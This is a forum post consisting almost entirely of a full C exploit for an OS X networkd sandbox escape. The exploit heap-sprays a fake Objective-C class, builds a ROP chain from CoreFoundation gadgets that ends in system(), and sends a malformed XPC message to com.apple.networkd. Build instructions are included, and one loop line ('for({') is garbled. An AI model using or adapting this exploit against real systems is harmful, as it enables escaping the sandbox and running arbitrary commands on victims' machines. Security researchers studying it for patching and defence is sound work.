Jump to content
Aerosol

OS X networkd Sandbox Escape

Recommended Posts

// Requires Lorgnette: https://github.com/rodionovd/liblorgnette
// clang -o networkd_exploit networkd_exploit.c liblorgnette/lorgnette.c -framework CoreFoundation
// ianbeer
#include <dlfcn.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>

#include <xpc/xpc.h>
#include <CoreFoundation/CoreFoundation.h>

#include <mach/mach.h>
#include <mach/mach_vm.h>
#include <mach/task.h>

#include <mach-o/dyld_images.h>

#include "liblorgnette/lorgnette.h"

/* find the base address of CoreFoundation for the ROP gadgets */

void* find_library_load_address(const char* library_name){
kern_return_t err;

// get the list of all loaded modules from dyld
// the task_info mach API will get the address of the dyld all_image_info struct for the given task
// from which we can get the names and load addresses of all modules
task_dyld_info_data_t task_dyld_info;
mach_msg_type_number_t count = TASK_DYLD_INFO_COUNT;
err = task_info(mach_task_self(), TASK_DYLD_INFO, (task_info_t)&task_dyld_info, &count);

const struct dyld_all_image_infos* all_image_infos = (const struct dyld_all_image_infos*)task_dyld_info.all_image_info_addr;
const struct dyld_image_info* image_infos = all_image_infos->infoArray;

for(size_t i = 0; i < all_image_infos->infoArrayCount; i++){
const char* image_name = image_infos[i].imageFilePath;
mach_vm_address_t image_load_address = (mach_vm_address_t)image_infos[i].imageLoadAddress;
if (strstr(image_name, library_name)){
return (void*)image_load_address;
}
}
return NULL;
}


struct heap_spray {
void* fake_objc_class_ptr; // -------+
uint8_t pad0[0x10]; // |
uint64_t first_gadget; // |
uint8_t pad1[0x8]; // |
uint64_t null0; // |
uint64_t pad3; // |
uint64_t pop_rdi_rbp_ret; // |
uint64_t rdi; // |
uint64_t rbp; // |
uint64_t system; // |
struct fake_objc_class_t { // |
char pad[0x10]; // <----------+
void* cache_buckets_ptr; //--------+
uint64_t cache_bucket_mask; // |
} fake_objc_class; // |
struct fake_cache_bucket_t { // |
void* cached_sel; // <--------+ //point to the right selector
void* cached_function; // will be RIP
} fake_cache_bucket;
char command[256];
};

xpc_connection_t connect(){
xpc_connection_t conn = xpc_connection_create_mach_service("com.apple.networkd", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);

xpc_connection_set_event_handler(conn, ^(xpc_object_t event) {
xpc_type_t t = xpc_get_type(event);
if (t == XPC_TYPE_ERROR){
printf("err: %s\n", xpc_dictionary_get_string(event, XPC_ERROR_KEY_DESCRIPTION));
}
printf("received an event\n");
});
xpc_connection_resume(conn);
return conn;
}

void go(){
void* heap_spray_target_addr = (void*)0x120202000;
struct heap_spray* hs = mmap(heap_spray_target_addr, 0x1000, 3, MAP_ANON|MAP_PRIVATE|MAP_FIXED, 0, 0);
memset(hs, 'C', 0x1000);
hs->null0 = 0;
hs->fake_objc_class_ptr = &hs->fake_objc_class;
hs->fake_objc_class.cache_buckets_ptr = &hs->fake_cache_bucket;
hs->fake_objc_class.cache_bucket_mask = 0;

// nasty hack to find the correct selector address
uint8_t* ptr = (uint8_t*)lorgnette_lookup(mach_task_self(), "_dispatch_objc_release");
uint64_t* msgrefs = ptr + 0x1a + (*(int32_t*)(ptr+0x16)); //offset of rip-relative offset of selector
uint64_t sel = msgrefs[1];
printf("%p\n", sel);
hs->fake_cache_bucket.cached_sel = sel;

uint8_t* CoreFoundation_base = find_library_load_address("CoreFoundation");
// pivot:
/*
push rax
add eax, [rax]
add [rbx+0x41], bl
pop rsp
pop r14
pop r15
pop rbp
ret
*/
hs->fake_cache_bucket.cached_function = CoreFoundation_base + 0x46ef0; //0x414142424343; // ROP from here

// jump over the NULL then so there's more space:
//pop, pop, pop, ret: //and keep stack correctly aligned
hs->first_gadget = CoreFoundation_base + 0x46ef7;

hs->pop_rdi_rbp_ret = CoreFoundation_base + 0x2226;
hs->system = dlsym(RTLD_DEFAULT, "system");

hs->rdi = &hs->command;
strcpy(hs->command, "touch /tmp/hello_networkd");


size_t heap_spray_pages = 0x40000;
size_t heap_spray_bytes = heap_spray_pages * 0x1000;
char* heap_spray_copies = malloc(heap_spray_bytes);
for (int i = 0; i < heap_spray_pages; i++){
memcpy(heap_spray_copies+(i*0x1000), hs, 0x1000);
}

xpc_object_t msg = xpc_dictionary_create(NULL, NULL, 0);

xpc_dictionary_set_data(msg, "heap_spray", heap_spray_copies, heap_spray_bytes);

xpc_dictionary_set_uint64(msg, "type", 6);
xpc_dictionary_set_uint64(msg, "connection_id", 1);

xpc_object_t params = xpc_dictionary_create(NULL, NULL, 0);
xpc_object_t conn_list = xpc_array_create(NULL, 0);

xpc_object_t arr_dict = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_string(arr_dict, "hostname", "example.com");

xpc_array_append_value(conn_list, arr_dict);
xpc_dictionary_set_value(params, "connection_entry_list", conn_list);

char* long_key = malloc(1024);
memset(long_key, 'A', 1023);
long_key[1023] = '\x00';

xpc_dictionary_set_string(params, long_key, "something or other that's not important");

uint64_t uuid[] = {0, 0x120200000};
xpc_dictionary_set_uuid(params, "effective_audit_token", (const unsigned char*)uuid);
xpc_dictionary_set_uint64(params, "start", 0);
xpc_dictionary_set_uint64(params, "duration", 0);

xpc_dictionary_set_value(msg, "parameters", params);

xpc_object_t state = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_int64(state, "power_slot", 0);
xpc_dictionary_set_value(msg, "state", state);

xpc_object_t conn = connect();
printf("connected\n");

xpc_connection_send_message(conn, msg);
printf("enqueued message\n");

xpc_connection_send_barrier(conn, ^{printf("other side has enqueued this message\n");});

xpc_release(msg);
}

int main(){
go();
printf("entering CFRunLoop\n");
for({
CFRunLoopRunInMode(kCFRunLoopDefaultMode, DBL_MAX, TRUE);
}

return 0;
}

Source

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...